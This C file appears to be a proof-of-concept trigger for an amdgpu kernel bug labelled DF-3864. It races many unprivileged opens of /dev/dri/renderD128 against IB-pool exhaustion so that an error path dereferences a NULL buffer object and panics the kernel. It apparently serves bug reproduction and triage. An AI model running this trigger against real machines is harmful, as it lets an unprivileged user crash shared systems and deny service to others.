/*
 * DF-3864 trigger — race render-node opens (each runs amdgpu_vm_init,
 * amdgpu_kms.c:990) against IB-pool exhaustion so that
 * amdgpu_vm_clear_bo() fails on some open and amdgpu_vm_init takes the
 * error_unreserve/error_free_root path with vm->root.base.bo == NULL
 * -> amdgpu_bo_unreserve(NULL) / amdgpu_bo_unref(&NULL->shadow) -> panic.
 *
 * Run on amdgpu hardware as an unprivileged user:
 *   ./vm_init_error_race /dev/dri/renderD128
 * Terminal IB consumer: a second process submitting large CS ioctls,
 * or simply N_PARALLEL opens on a memory-pressured machine.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <pthread.h>
#include <errno.h>

static const char *node = "/dev/dri/renderD128";
static volatile int stop;

static void *opener(void *arg)
{
	int i;
	for (i = 0; !stop && i < 20000; i++) {
		int fd = open(node, O_RDWR | O_CLOEXEC);
		if (fd >= 0)
			close(fd);	/* full vm_init+vm_fini each time */
	}
	return NULL;
}

int main(int argc, char **argv)
{
	pthread_t th[8];
	int i;

	if (argc > 1)
		node = argv[1];
	if (open(node, O_RDWR) < 0) {
		printf("open(%s): %s — no AMD GPU on this system; "
		       "amdgpu_vm_init (amdgpu_vm.c:3048) never runs "
		       "(see VERDICT.md)\n", node, strerror(errno));
		return 1;
	}
	for (i = 0; i < 8; i++)
		pthread_create(&th[i], NULL, opener, NULL);
	for (i = 0; i < 8; i++)
		pthread_join(th[i], NULL);
	printf("no panic observed (need IB-pool pressure concurrently; "
	       "see README 'Terminal IB consumer')\n");
	return 0;
}
